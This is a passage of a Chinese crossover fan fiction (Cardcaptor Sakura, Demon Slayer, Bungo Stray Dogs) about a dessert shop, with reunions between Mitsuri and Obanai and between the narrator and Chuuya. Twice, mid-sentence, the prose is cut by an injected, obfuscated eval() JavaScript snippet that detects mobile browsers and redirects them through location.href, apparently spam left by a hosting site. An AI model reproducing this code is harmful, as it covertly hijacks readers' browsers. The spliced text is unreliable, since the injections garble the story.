小樱穿着与蜜璃同款的装束,棕发蓬松微卷,碧绿的眼眸透出自信,在镜头前摆poss。 大学毕业后,知世进入大道寺家的玩具公司工作,而小樱被星探挖掘,成为一家知名经济公司的签约模特,算是继承她妈妈生前的事业。 而小樱谈了十年的男朋友李小狼同志,正抬手扶额,坐在角落里浑身散发黑气。 我嘴角一抽,李小狼这模样是再熟悉不过。 无非是女朋友的注意力被我们分走,正在发泄不满罢了。 由于是模特的原因,小樱的社交媒体积累了一些粉丝。 她为了帮助我和蜜璃的甜品店提升知名度,与知世约好在店里拍宣传照片发在ins上。 “那个,货物……” 配送员出声提醒我们还没卸货。 “啊,这个啊,我——” 蜜璃正要过去将货物巷子搬下来,突然被一道男声打断。 随着风铃声响起,李小狼迈出长腿,卷起棕色的衬衫袖子,三步并做两步走到我们身旁。 “我来吧。” 他利索地将三个沉甸甸的箱子搬下来,朝店内走去。 蓦地,李小狼停下脚步,抬头看了眼兔子模样的风铃,道:“最好把这个风铃取下来,会招来东西。” 我和蜜璃眼前一亮,鼓起掌来。 “哇,不愧是李家最强的道士!” 李小狼脸上一红,别扭道:“啰嗦。” “不过有小月在,没问题的啦。” 蜜璃笑呵呵地说。 李小狼放下手中的货物箱,拍去手上的灰尘。 “这倒是。” “这么多年,李小狼同志还真是没变呢,还是这么傲娇。” 我用中文打趣道。 李小狼嘴角一抽,瞥了我一眼。 “闭嘴吧你。” “莓铃是不是在忙着继承家里的公司?” “是啊,还一直跟我抱怨赶不及参加你们的开店仪式。” “没办法,他们家就她一个女儿。” “嗯,等她下次有空吧。” 我和理子跟随蜜璃一踏进店内,就接收到知世热情的视线。 “小月,理子,快来试试我做的衣服,拍个好看的照片放在ins上,大家肯定会被你们的可爱吸引而来的!” 知世眼里冒出星星,拿着两套与小樱同款但颜色不同的花苞裙朝我们逼近。 “不……知世,好的甜品店是要用味道征服大家的吧!” “就、就是!” “小月和蜜璃做的甜点当然是世界最棒的,但配上好看的洋装岂不是更好?我还做了几件换洗的——” 最终,在知世大小姐的进攻下,我和蜜璃答应了将这Lolita式的裙子作为店服的要求。 兔子模样的风铃再次发出声响,叮铃叮铃地在耳边回响。 七年的时光,就像这风铃的声音,转瞬即逝。 朋友们微笑的脸庞,五官的稚嫩已然褪去,身形抽长,成为亭亭玉立的漂亮姑娘。 以前一直陪伴在我身边的甜点精灵芒果,与蜜璃的甜点精灵蜜瓜一同,在我们高中毕业的时候通过考核,成为宫廷甜点师,离开了我们的生活。 “打扰了,有芝士蛋糕吗?” 今天的第一位客人进店,客人的声音让我从回忆里抽出来。 我们几人互相对视,一起对客人露出热情的笑容。 “欢迎光临!时光甜品屋试营业期间全部商品八折优惠——” 13.甜品屋(二) 13 海滨公园对面的商业街,人流匆匆。 一位穿着华美和服的女性独自漫步在人群中,清冷的气质与周围喧闹的环境格格不入。 她容貌艳丽,橘色的长发用簪子盘起,撑着红伞在阳光下悠悠漫步。 尾崎红叶站在街口沿路走去,手中捏着一张白纸,纸上使用蜡笔划出的简易地图。 她按照地图的指示,一路经过西餐厅、奶茶店、清吧和酒吧。 最终,在街尾的转角处,她停在一间甜品屋门口。 “听说海滨公园开了一家甜品店,是小樱在ins上推荐的,那几张在甜品店里拍的照片实在是太可爱了。” “于是,我昨天打电话过去预定了爱丽丝酱爱吃的从草莓蛋糕,麻烦红叶君帮我取下。” 尾崎红叶想起上午自家首领的话,眉间闪过纠结的神色。 首领口中的小樱,是时尚杂志颇有人气的模特木之本樱。 不知道是哪根筋出错,那个首领竟然买了好几本杂志在办公桌上放着。 模特小樱,怎么看都超出他的守备范围了吧…… 难道是因为那个模特漂亮可爱的娃娃脸? 尾崎红叶深吸一口气,抬手扶额。 变态Boss。 她在心里吐槽道。 路旁,偌大的樱花树随风摇摆,花瓣洋洋洒洒落了满地。 尾崎红叶抬头看向店门上方的木色招牌——时光甜品屋,下方还有用花体英文标注的英文店名。 Time Patisserie。 白色的外墙被大而宽的长方形玻璃窗占据,窗的边框被木头包裹,窗户向外打开,宽敞的窗台前放有几个木椅。 被当做吧台的窗台上摆有一个玻璃花瓶,瓶内插有一株新鲜摘下的樱花树枝。 树枝上的樱色花朵饱满,点缀着透明的水珠。 店门是木门,开了个长方形的透明玻璃封闭窗口,木门上的玻璃倒映出樱花树的轮廓。 透过敞开的窗户,尾崎红叶望进店内,只有两名女性正在柜台忙碌。 她们都穿着可爱的洋裙,年纪不大,约莫二十出头。 店内热闹,客人占据大部分的座位,多是学生和约会的情侣。 “两份初恋对吧?” 一道活泼元气的女声传出,她这才注意到还有位少女在客人间穿梭。 身为mafia的尾崎红叶有些意外,鲜少遇见这类存在感低的人。 她一定适合当暗杀者。 此刻,尾崎红叶觉得那黑发少女是个好苗子。 蓦地,她对上黑发少女的视线,对方露出灿烂的笑容。 黑发少女热情道:“这位客人,要进来尝尝我们家的甜点吗?” 尾崎红叶一怔,唇角勾起,“是呢,正好我要给上司打包蛋糕。” 黑发少女眉头微蹙,思索片刻后说:“啊,是昨天打电话来预定蛋糕的森先生?” 尾崎红叶点头,微微笑道。 “正是。” 黑发少女侧身站立,做出邀请的手势。 “美丽的小姐,请进——” 尾崎红叶忍俊不禁,收起纸伞,抬脚踏进店内。 她侧眸观察黑发少女,摒弃了心中的想法。 那孩子是在充满爱的环境下长大,才会拥有如此明艳的笑容。 还是算了。 她环视四周,观察店内的环境。 正对门的是甜品展示柜、点单台和吧台,紧贴吧台右侧的墙上有一个嵌入式展示柜,里面摆有各式各样精致的面包。 甜品店内整体是温馨的木质调,是一个四四方方的正方形框架,白墙上挂有春日风景的油彩画。 桌椅均是木头制成,桌上摆有米白色桌布和花瓶,墙面嵌有开放式木柜,每一层柜子上放有各式各样的木头摆件,有动物形状的,也有木头人形状的。 靠街边的墙都打通了方形的透明木窗,可以看见街上的景象。 方形的桌椅沿墙面均匀分布,店中央的桌椅则换成了圆桌。 最里面的墙上有一个能烤火的壁炉,壁炉两侧是两个铺满墙面的书柜,书柜里摆满各类书籍。 壁炉前是舒适的沙发椅和茶几,在冬天烤火格外合适。 看得出来,店主人对这家店倾注了很大的心思。 阳光透过窗户洒在桌面上,客人轻声交谈,像是想起了什么,眼里露出或愉悦,或思念,或怀念的神色。 奇妙的是,最终这些客人脸上洋溢着开心幸福的笑容。 在这平静和谐的景象中,仿佛地下世界的肃杀与残酷从不存在一般,一切岁月静好。 真是令人放松舒适的地方。 尾崎红叶心中升起了这样的想法,让她有些意外。 * 甜品屋开业有一周时间,因为小樱在ins上的探店宣传,有好些她的粉丝会特地过来打卡,比其他刚开业的门店热闹些。 理子拿着托盘跑来跑去,给客人送甜点和饮料。 蜜璃正在吧台上制作手冲咖啡,咖啡的香气在店内弥漫。 我从点单机抬起头,瞧见一名身穿华美和服的女性站立在门口。 我有些意外,很快扬起礼貌的笑容。 “欢迎光临,请问您要点些什么?” 理子站在客人的桌旁,朝我喊道:“那位小姐是来拿森先生预定蛋糕的。” 和服女性轻轻点头,看向展示柜中的甜品。 “春日街头盛放的樱花,其美丽的身姿不容错过,在这欣赏也不错。” “可爱的小姐,有什么推荐的吗?” 我缓慢眨了下眼睛,被这样称呼顿时有些不好意思。 “这款慕斯蛋糕,初恋,是大家最近格外喜欢的一款甜点。” 我走出吧台,站在她面前,礼貌地摊开手掌,五指并拢指向被唤作“初恋”的甜品。 蛋糕披着粉色的奶油外衣,顶端有一颗红色的草莓,草莓旁边插有糖塑做成的翅膀。 “那就这个吧。” 和服女性优雅抬手,掩唇说道。 “要喝点什么呢?” “红茶,谢谢。” “那预定的草莓奶油蛋糕在您用餐结束后再给您。” “嗯,麻烦了。” 和服女性点完单,走向墙角的窗边坐下,她安静地眺望窗外,抬手接住风中飘落的花瓣,唇边缓缓勾起一抹微笑。 我拿出红茶放入精致的西式茶壶中,看着那位女性客人不禁失神。 “好像一副美人赏樱图呢。” 蜜璃站在我身旁,感叹道。 “是呢。” * 热气徐徐升起,红茶散发着沁人的茶香。 这么少女的蛋糕,有多久没吃了呢? 还真是被这家店的氛围感染,不禁想要深入其中。 尾崎红叶看着碟子上的小蛋糕,端起红茶细细嗅闻,然后小酌一口。 红茶香气纯正,虽然比不上她平日喝惯了的高级红茶,但胜在泡得温度刚刚好,最大限度地呈现茶本身的醇厚。 尾崎眼中划过赞赏的情绪,对这家店的好感上升了些。 她拿起叉子,试探性吃一口小蛋糕。 入口是奶油平滑的口感,甜味在舌尖蔓延,粉色的奶油中充满草莓汁的味道,奶油的甜味渐渐与草莓的酸甜融合,两种味道在舌头上交相辉映,酸甜的味道在咀嚼中留下痕迹,却又逐渐消失。 酸酸甜甜的感觉,想要留住的瞬间却又消失不见。 ——就像初恋。 尾崎红叶一怔,垂下眼睑,轻轻抚上胸口,久远的记忆开始在脑海中浮现,有开心的甜蜜,也有难过的苦涩,最终定格在初见的那一幕。 冰冷的触感从脸颊划过,她抬起手擦去眼角流下的一滴泪。 真是久违的悸动啊。 她眉眼柔和,嘴角带笑,一口接一口将蛋糕送入嘴里。 恍然间,尾崎红叶心里的所有情绪被清空,只剩下被暖阳照耀的舒适。 “真是不可思议。” 她轻声呢喃,失神地看着碟子里甜点。 * 我接过蜜璃手中的草莓奶油蛋糕,拿起包装盒包装起来。 蓦地,我动作一顿,看向窗边身着和服的女性客人。 一股细微的力量涌入心中,这股力量饱含酸涩的情绪,让我动容。 “那个人……” 蜜璃示意我看向坐在落地窗前位置的客人,倚在收银台的桌上,撑着下巴笑道:“她笑得好温柔啊,不知道想起什么美好的回忆呢?” 我瞧见那位客人脸上怀念的表情,微微一笑。 “大概是充满甜蜜和酸涩的初恋吧。” 只有真心喜欢我做出的甜点,才会产生愿力。 愿力会带着客人当时的情感涌入我的灵魂,从而被我感知。 虽然这种方式产生的愿力不及信徒的祈祷发愿多,但长久累积下来,就算信徒不多,积攒的愿力也足以支撑神的存在,摒除因最后一个信徒死亡而消失的风险。 积攒愿力的方法还有两种,一种就像夜斗那样,到处写广告宣传自己,等有困难的人类打电话求助,并支付“五元”作为实现愿望的代价,适用于没有神社的无名神。 还有一种,如果神明拥有自己的神社,那么前往神社许愿的人类,会被神明听见愿望。以支付香火钱为代价,实现人类的愿望。 虽然小樱、知世和蜜璃都提议过可以成为偶像,将粉丝变成信徒的方法,这种方法确实快捷,但我思来想去,娱乐圈不适合我,我更喜欢这种开店的生活。 “初恋呢——” 蜜璃笑起来,眉眼弯弯,脸上泛起红晕。 我看着她脸上明媚的笑容,问:“今年还是没遇见伊黑先生,会觉得失落吗?” 蜜璃侧眸看来,反问:“为什么会感到失落?” “我一直相信小月的话哦,无须一直寻找,总有遇见的那一天。” “我很满意现在的生活,所以我的恋爱,就算慢点来也没关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792216|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 她伸出右手,五指张开,透过指缝注视天花板上的吊灯,语气温柔极了。 “那就好。” 我轻轻笑着,低声道。 不久,客人前来付款,我将包装好的蛋糕拿给眼前的和服女性。 “蛋糕很好吃。” 临走前,她对我和蜜璃说道,“吃着蛋糕,突然想起一些令人怀念的往事,不可思议呢。” 我和蜜璃相视一笑,开心地答道:“您能吃得开心,比什么都好。” “我想,我还会再次光顾。” 客人轻笑出声,留下一句话后拎着蛋糕走出店门。 * 夜色冉冉,华灯初上。 一间高档法式餐厅内,头戴黑礼帽的赭发青年坐在窗边,撑着下巴看向路边,眸底倒映出来来往往的车辆。 “抱歉,中也君,等很久了吗?” 椅子被拉开的声音响起,伴着熟悉的女声传来。 中原中也回头,朝来人点头打招呼,“不,我也才刚到。” 尾崎红叶看着青年微微一笑,“好久不见,任务辛苦了。” 中原中也将餐牌打开,放在尾崎红叶面前,“这次的任务不难,就是意大利那边棘手了一点。” “Boss让我替你接风洗尘,应该是我等你才对,中也君可以慢慢来的。” 尾崎红叶点完餐后,将餐牌拿给中原中也。 中原中也接过,随意点了份套餐,理所当然地回道:“让红叶大姐久等,可是不礼貌的行为。” 尾崎红叶听罢,掩唇一笑,调侃道:“中也君果然是体贴的男人呢。” “这点小事谁都做得到吧。” 中原中也注意到她甚好的心情,疑惑地看去,“红叶大姐,你今天好像心情不错。” 尾崎红叶看向窗外,轻柔的管弦乐在店里悠悠响起。 “嗯,想起了以前的一些事情。中也君,听说你以前有个喜欢的人?” 中原中也一愣,想到是某人透露的信息后,气恼得攒紧五指。 “那条青花鱼,可恨至极!” 尾崎红叶轻咳一声,唇边勾起无奈的弧度。 “嘛……这话我也听了很多年。冷静点,那个黑历史手册早就被销毁了不是吗?” 太宰治曾经将中原中也的黑历史打印成册,发给部下们翻阅。 黑历史手册中,有这么一条:中原中也15岁时有个喜欢的女生,但刚认识就再也没见过,还没开始就结束的可悲初恋。 服务员小心翼翼地看向面色不佳、气势凌人的中原中也,动作飞快地把红酒和牛排套餐摆上。 中原中也深吸一口气,努力压制住因为想起某条青花鱼而升起的暴虐情绪。 冷静过后,他抿了口红酒,压在心底的记忆开始复苏,蓝色的双眸里划过怅然的神色。 慢慢地,中原中也勾起唇角,浮现淡淡的笑意。 尾崎红叶拿起刀叉,顿时有些意外。 “是怎么样的女孩子?” 中原中也不自在地别开脸,绷紧身体,“就是个普通的女生,而且已经七年没见面了。” “不要紧张,这只是我们个人之间的闲聊。” 尾崎红叶眨了下右眼,安抚地看着他。 “放心。” 中原中也微微一怔,放松下来。 “抱歉。” 中原中也拿起酒杯,轻轻摇晃,暗红的酒液在杯中旋转。 “是一个性格开朗,笑起来很好看的女生……” 他的声音越来越小声,说完直接喝完了杯中的酒。 中原中也轻舔下唇,又给自己倒一杯,这才继续说道:“我还在羊的时候就经常在海滨公园看见那家伙,但一直都是远远看着。” “到后面,巧合之下与她认识……对她来说,我们认识的时间才短短半个月,那时候她要去巴黎留学,之后就没再遇见了。” “在她去巴黎前,我给她留下了不好的回忆。” 尾崎红叶听他轻缓的描述,与他平时对待敌人的语气比起来,显得格外温柔。 她看着中原中也,那精致帅气的脸上开始染上微醺的神色,湛蓝的眸子涌现一丝愧疚的情绪。 “七年了,她应该不记得我了吧。” “对她来说,我只是个见过几次面的人而已。” “是吗……中也君倒是记得很清楚时间呢。” 听罢,尾崎红叶垂下眼睑,轻叹一声。 在阳光下生存的人们,如果过于接近黑暗,终会被深处黑暗之人伤害。 但是…… “即便如此,那孩子还是给你留下了美好的回忆吧?” 尾崎红叶微微一笑,举起酒杯示意。 中原中也看着酒液失神,脑海中浮现春日樱花树下笑容灿烂的女孩。 那家伙现在是什么样子?还在巴黎吗? 是不是……还留有一头好看的长发? 他没有回答,只是举起酒杯轻轻一碰,清脆的声响传入耳中。 14.甜品屋(三) 14 清晨,店内弥漫着面包的香气,烘焙室里的烤箱发出滴滴的提示音。 我套上手套打开烤箱,将烤好的面包拿出来。 蜜璃哼着歌,一人一个烤盘将面包拿到外面的面包展示柜里,将面包挨个摆好。 理子站在吧台前,用干净的抹布将台面擦拭干净。 我们的甜品屋从早上八点开始营业,八点到十二点期间只卖面包,面向的客户群是路过的学生和上班族,中午十二点后有甜品供应。 因此,我和蜜璃在早上做好面包后,就埋头制作下午售卖的甜点。 蜜璃在烘焙室里揉面团,我端着一整盘可颂走到吧台前,蓦地风铃碰撞木门,发出叮铃的响声。 我转头看去,瞧见了前几天的客人。 是那天点了“初恋”的和服女性。 她收起纸伞,轻抚和服衣袖,从容地迈进店内。 身着华美和服的客人朝我走来,她朱唇微勾,仪态优雅,这一瞬间好似她的周身盛放优雅美丽的红色山茶花。 我微微失神,沉浸在她的美貌和华丽的气场中。 “早上好,美丽的小姐。” 客人打招呼的用词如同她本人一样优雅。 望进她眼里的瞬间,她弯起眉眼,笑容温和。 刹那间,我脸上泛起红晕,竟有些紧张。 “欢、欢迎光临!您是要买面包吗?” “噗。” 理子见我这般没出息的模样,不由得笑出声来。 她扬起笑容,眨着明亮的眼眸道:“我们有早餐优惠,面包加咖啡,总价打八折呢!” 客人唇边噙着笑意,看向吧台上的小黑板。 “那就杏仁奶油可颂和澳瑞白,外带。” 理子接过我手中的烤盘,迅速将可颂放进展示柜里,再从中取出杏仁奶油可颂打包。 我加快脚步走到吧台,为客人做咖啡。 客人安静地站在吧台前等候,视线在我胸前写有店员姓氏的徽章名牌扫过。 我将可颂和咖啡打包进手提袋里,封上可爱的小猫图案胶带后递给她。 “谢谢,藤原小姐。” “多谢惠顾。” 我和理子双手交叠在前,微微鞠躬。 她提着袋子走出店外,等候在路边的黑色轿车下来一名黑西装,恭敬地为她打开车门。 * 午后两点,店内没什么客人,蜜璃坐在窗边,低头拨弄吉他。 吉他发出清爽的音调,指尖弹出音符,交织成一首轻快的乐曲。 理子坐在她身旁,端起咖啡慢悠悠地抿一口,桌上的圆碟上放有一块长方形的蜂蜜蛋糕。 她拖住下巴,闭上双眼享受此刻的音乐。 阳光越过窗台,将理子和蜜璃的身影笼罩。 风吹起发丝,她们的身上覆盖阳光淡淡的金色。 粉色的樱花摇摇晃晃飘进来,落在两人指尖。 我靠在吧台边倾听蜜璃的弹奏,享受午后的惬意时光。 蓦地,我看见一个男人停驻在窗外,异色的双瞳因惊讶而睁大,紧紧盯着蜜璃失神。 男人穿着黑白条纹的卫衣外套,黑色挎包斜跨在肩上。 及肩黑发被皮筋扎成一束,刘海被风吹起,鬓边的碎发擦过微张的唇瓣。 “甘露寺。” 乐声戛然而止。 蜜璃怔怔然看向站在窗台外侧的男人,叶绿色的眼眸倒映出男人的脸庞。 樱色的花瓣擦过两人的脸颊,时间在沉默的对视中流逝。 “伊、伊黑先生——!!!” 突然,蜜璃尖叫出声。 她兴奋地抛开吉他,利落地用手撑在吧台上跃了出去。 我和理子缓缓睁大眼眸,不由得屏住呼吸,压住即将到嘴边的惊呼。 “这就是伊黑先生……?” 理子不可置信道。 理子作为我们重要的家人,我们从未在她面前隐藏过任何事情。 蜜璃站在伊黑先生面前,双颊因开心而红润。 “伊黑先生,好久不见!” 伊黑先生似乎没想到蜜璃会出现在这里,他双眸呆滞,像木头似的站在樱花树下。 “真的是甘露寺……吗?” 蜜璃眼眶泛红,高兴于他们之间久违的重逢。 “太好了,伊黑先生还记得我——” 她双手握拳,情绪高昂地跳起来。 我和理子对视一眼,飞快地推开店门,将发呆的伊黑先生架起来搬进店里。 “这位先生,蜜璃刚做出来的蜂蜜蛋糕,要来一份吗?” 我十分热情地问道。 伊黑先生机械般转头,嘴里呢喃:“甘露寺做的……” “要。” 他回过神,声音大了些。 蜜璃在伊黑先生对面坐下,捧着脸颊笑容灿烂,无数粉色的爱心几乎要实体化从她的眼里冒出。 理子飞快地拿出木制托盘,在托盘里铺上粉色棉布,从甜品展示柜里拿出一份蜂蜜蛋糕放在托盘里。 我拿出红茶,取出一撮放入茶杯里,用热水冲泡。 做完这些,我和理子将红茶和蜂蜜蛋糕放在蜜璃和伊黑先生中间的桌子上,默默退到一旁降低存在感。 “伊黑先生还有前世的记忆呢。” “嗯。” “我一直在等你。” “……嗯,我也是。” 伊黑先生右手撑在桌面托住下巴,脸色微红地避开蜜璃的视线,忐忑地盯着地板的纹路。 我激动地抓住理子的肩膀,捂住嘴巴防止自己笑出声来。 嗑的cp在眼前HE了! 太棒了! 理子额角跳起,握拳揍了下我的脑袋,“冷静下来!我的脑浆快要被你摇出来了!” 我捂住脑袋讪讪一笑,打心里为蜜璃感到高兴。 “伊黑先生几岁?” “22。” “哇!跟我一样!” “伊黑先生工作了吗?” “大学刚毕业,应聘游戏公司的程序员,下周入职。” “好厉害!这是我和小月开的店。小月是我最好的朋友之一!” 两人在交谈中诉说这些年来的经历。 “我和小月在圣玛丽学院毕业后,在各自爸妈的建议下选择大学深造,又在法国读完了四年大学。” “为了不忘记甜点师的技能,我们还去应聘法国有名甜品店的甜点师,趁没课的时候做做兼职,还能赚点钱当作日常开销。” “毕业后,我们打算开一家甜品屋,跟我们的爸爸妈妈说了后,他们非常支持我们,投资本钱入股开了店,按照每月的纯利润分红。” “被爸爸妈妈托举的我们当时感动得快哭了——” 蜜璃滔滔不绝地说着这些年的经历,说完口干舌燥地端起红茶喝起来。 伊黑先生虽然话少,但很耐心地解答蜜璃的每一个疑问。 他注视蜜璃的眼神温柔极了,与蜜璃说话时唇角不自觉上扬。 “真好。” 我的声音与理子重叠。 我们相视而笑,感受此刻蜜璃与伊黑先生甜蜜的重逢。 时间渐渐流逝,蜂蜜蛋糕在白色碟子上消失,杯中的红茶见底。 期间,我见烘焙材料不足,让理子拿上钱包去商业街订购。 理子去更衣室换上常服,元气满满地出门采购。 在我的提议下,蜜璃满脸害羞地与伊黑先生踏出门外,携手经过窗前,朝对面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798083|190519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的海滨公园走去。 他们一定有许多话想说给彼此听。 我站在窗前看向街对面的沿海街道,他们的身影渐行渐远。 不知为何,我看着蜜璃和伊黑先生,下意识抚摸脖子上的蓝宝石吊坠。 宝石传来微凉的触感,风铃不断发出叮铃的响声。 我不自觉勾起唇角,想起七年前的那位赭发少年中原中也。 这条项链是我当初昏迷时,中原中也偷偷戴在我脖子上的。 大概是当年他所说的,送我巴黎留学的饯别礼物。 因为我实在喜欢这项链,所以这些年时不时会拿出来佩戴。 当年,爸爸看到宝石项链,说这是真正的宝石而非玻璃制品,还说送礼之人十分用心。 我有些惊讶,因为怕被零元购打消了带去巴黎的念头,只有在日本才拿出来戴。 后来,我在爸妈的提议下拿去宝石店里保养。 我第一次把这项链拿到宝石店保养的时候,店员告知我这颗蓝宝石是一种叫做超级圣玛丽亚色的海蓝宝。 大概有10克拉,品质上乘,价值在135万日元,即6万人民币。* 当时,我险些眼珠子要瞪出来,没想到会是这样贵重的礼物。 十五岁的中原中也到底干了什么这么有钱! 果然是mafia吧,那些灰色产业来钱快得很。 还有,他对朋友也太好了—— 我有一搭没一搭想着,忽然一阵强风吹过,吹得我睁不开眼。 再次睁眼时,窗台铺满被吹落的樱粉花瓣,一张泛黄的白纸晃晃悠悠落下,躺在一片粉色中。 白纸有十字形的折痕,纸上的铅笔字迹有些模糊。 我拿起白纸,指腹传来素描纸的粗糙触感。 铅笔写下的文字虽然有部分变得模糊,但余下能看清的文字让我异常熟悉。 这是我的笔迹。 我细看纸上的内容,恍然记起七年前见到中原中也的时候。 是那时为了完成比赛在宿舍写下的关于牵绊的思考过程。 我还以为是被风吹走了,怎么七年后还被风吹到我面前…… 总不能这张纸外出旅游这么些年,然后又回来了吧。 匆忙的脚步声越来越近,随即我听见了久违的声音。 “抱歉,可以把那张纸……藤原?” 我闻声看去,在樱花树下瞧见了记忆中的漂亮蓝眸。 男人拥有一头赭发,偏长的发尾披在一侧肩头,黑色礼帽在他的脸上留下阴影。 阳光透过樱树的枝丫,在他身上留下斑驳的光影。 七年过去,他的容貌没有发生太大变化,还是一张拥有俊俏五官的脸,倒是眉间多了几分稳重和成熟。 他睁大眼眸,直愣愣地站着,显然对于我的出现觉得不可思议。 今天真是个好日子。 我心情甚好,晃了晃手中的纸张,勾唇唤道:“中原先生。” 中原中也还是披着黑色大衣,一身灰马甲西装,脖子戴有黑色chocker,双手也被黑手套包裹。 我生出调侃的心思,说:“这么多年过去,你怎么还穿着这一身呀?” 中原中也:“……???” 他突然不知道该怎么回答这个问题。 话说七年后的重逢第一句话就是吐槽真的好吗! 这一刻,我从他的脸上读出了这个意思。 “不过我没想到这张纸居然在中原先生那里,为什么?” 我倚在窗台上,双手托住下巴,好奇地歪头问道。 中原中也:“……!!!” 刹那间,一股热意涌上大脑,发丝间的耳朵渐渐泛红。 他痛恨当初手贱偷藏纸张的自己。 15.甜品屋(四) 15 中原中也嘴唇微张,一时之间不知道该如何解释。 我见他这般纠结,没有继续调侃他。 “大概是不小心被风吹到了中原先生那里吧。” 中原中也扯动嘴角,轻轻应声。 “不小心拿起来看,然后不小心带走了。本来后来想还给你,结果忘记了。” 他说话时,语气虚浮,眉间涌现紧张的神色。 就好像,这话说得自己都不信的样子。 我抿紧唇,觉得他这样有些好笑。 我用食指和中指夹住纸张递过去,轻笑:“还给你。” 中原中也见我没有继续追究,暗自松了口气。 他看着纸张露出犹豫的神色,最终还是抬起手将纸张拿回来。 中原中也掏出钱包,将纸张放在夹层里。 我怔了怔,指尖轻颤。 没想到他会这么收藏当年我随手写下的东西。 樱色的花瓣从眼前落下,飘飘忽忽的样子仿佛此刻跳动不规律的心脏。 我双手交叠放在窗台上,倾身过去。 “中原先生,要不要进来坐坐?” 他抬眸看向店门口的招牌,微微一怔。 “原来是这家店。” “嗯?中原先生知道这家甜品屋吗?” 我惊讶道。 “啊,我看见同事今天早上吃的早餐包装袋上有一样的英文标志。” 中原中也一瞬扫过我的锁骨,瞧见贴在皮肤上的蓝宝石项链。 “有黑咖啡吗?” 他勾起唇角,蓝眸里闪过微微笑意,看上去心情不错。 “当然!” 我跑到店门口,将他迎进来。 中原中也打量店内的环境,眉间的褶皱舒展开。 “不错的氛围,你开的?” 我点点头,“嗯,跟朋友一起开的店。” “挺厉害的啊。” 中原中也脸上划过惊讶,视线在甜品展示柜里浏览而过。 “没有没有,大部分还是父母支持啦。” 我摆摆手,不好意思地挠了挠脸颊。 “有父母支持,也是不错的事情。” 中原中也在我眼前走过,在我刚才站着的窗边坐下。 他看向窗外,喉结滚动,眼里透出局促的神色。 蓦地,中原中也抬起右脚搭在左脚上,双手交握放在桌面,仿佛在开会一样。 “说起来,你身上这轻飘飘非常少女的衣服是……” 中原中也话说到一半,声音越来越小。 他轻咳一声,脸色微红,“是店服吗?” “是哦,我的好朋友知世亲手缝制,厉害吧!而且很可爱!” 我垂眸看着身上的黄色花苞裙,站在他面前轻盈地转圈,腰间的白色围裙飘起又落下。 中原中也僵在原地,抬手捂住脸颊。 “嗯……嗯。” 他声音发颤应道。 “对吧。” 我悄悄看向窗户玻璃的倒影,欣赏自己身上的裙子。 一声轻笑传入耳中,中原中也的声音响起。 “看来你很喜欢这衣服。” 我自恋的小动作被他发现了。 刹那间,我对上蓝色双眸,被极富侵略感的视线包裹。 脸颊涌起热气,我在他的注视下不好意思笑起来,逃跑似的回到吧台。 我靠在吧台边缘,拍拍脸颊示意自己冷静。 怎么回事? 刚才他的眼神好有侵略感。 手机正疯狂震动,群聊消息一条接一条。 我迅速掏出手机,点击置顶的群聊“闺蜜致富带我躺平”。 【AAA时光甜品屋小蜜:啊啊啊!!!我见到伊黑先生了——】 【AAA时光甜品屋小蜜:[图片]】 一张伊黑先生的背影照出现在聊天记录里。 【AAA小樱粉丝俱乐部会长:恭喜!太好了呢。】 【AAA建材李总:祝99!!!】 【AAA时尚杂志模特:感动——蜜璃终于见到伊黑先生了!】 【AAA时光甜品屋小月:99啊啊啊!!!】 接着,我埋头迅速在屏幕上打字,点击发送。 【AAA时光甜品屋小月:家人们!时隔七年,我又见到中原中也了!他居然把我初三时写的纸条一直装在钱包里!】 我缓缓吐出一口气,试图平复过快的心跳。 【AAA建材李总:???】 【AAA时尚杂志模特:!!!】 【AAA时光甜品屋小蜜:等我,现在回去!】 【AAA小樱粉丝俱乐部会长:小月,要保持清醒!中原先生不是喜欢男性吗?还有一名叫太宰治的恋人?】 【AAA建材李总:不对劲,月啊,你没记错吧?要是他喜欢男性的话怎么可能一直保留你写的纸条,还送你宝石项链?】 【AAA时尚杂志模特:我怎么感觉中原先生对小月有好感呢?】 【AAA时光甜品屋小月:?这不能吧。】 【AAA建材李总:对,七年前就能花大价钱给小月送收藏级的海蓝宝,我还以为是赔礼,毕竟我们小月被牵连差点死了。】 【AAA小樱粉丝俱乐部会长:这么一说,一直留着小月笔迹的纸条,确实很奇怪呢。】 【AAA时尚杂志模特:据我观察,如果中原先生的恋人是那位叫太宰治的男人,那么他完全看不到其他女性才对。】 【AAA时尚杂志模特:比如我哥和月兔哥。】 【AAA建材李总:毕竟前世你没看过相关剧情,万一只是粉丝喜欢的cp,不是BL漫呢?】 【AAA时尚甜品屋理子:诶!诶!诶——可恶,我还在商业街!】 嘶—— 我盯着手机屏幕,陷入了沉思。 别乱想别乱想。 我抛去脑子里乱七八糟的想法,“不能让男人乱我道心。” * 咖啡的香气从杯中源源不断冒出,我端着托盘来到他身旁,将黑咖啡摆在桌上。 “中原先生,有什么想吃的甜点吗?” 我顺势问道。 中原中也松开手,握住白色咖啡杯的把手,“不用了,我不太喜欢甜食。” “这样啊……” 我笑了笑,转身准备将托盘放回吧台。 忽然,身后再次响起他的声音。 “不过,我可以试试你做的。” 我侧身看去,微微睁大眼眸,打趣道:“不用勉强哦。” “因为不是每个人都喜欢吃甜食嘛。” 中原中也摇头,说:“没有勉强,以前吃过你做的,味道还不错。” 他还记得! 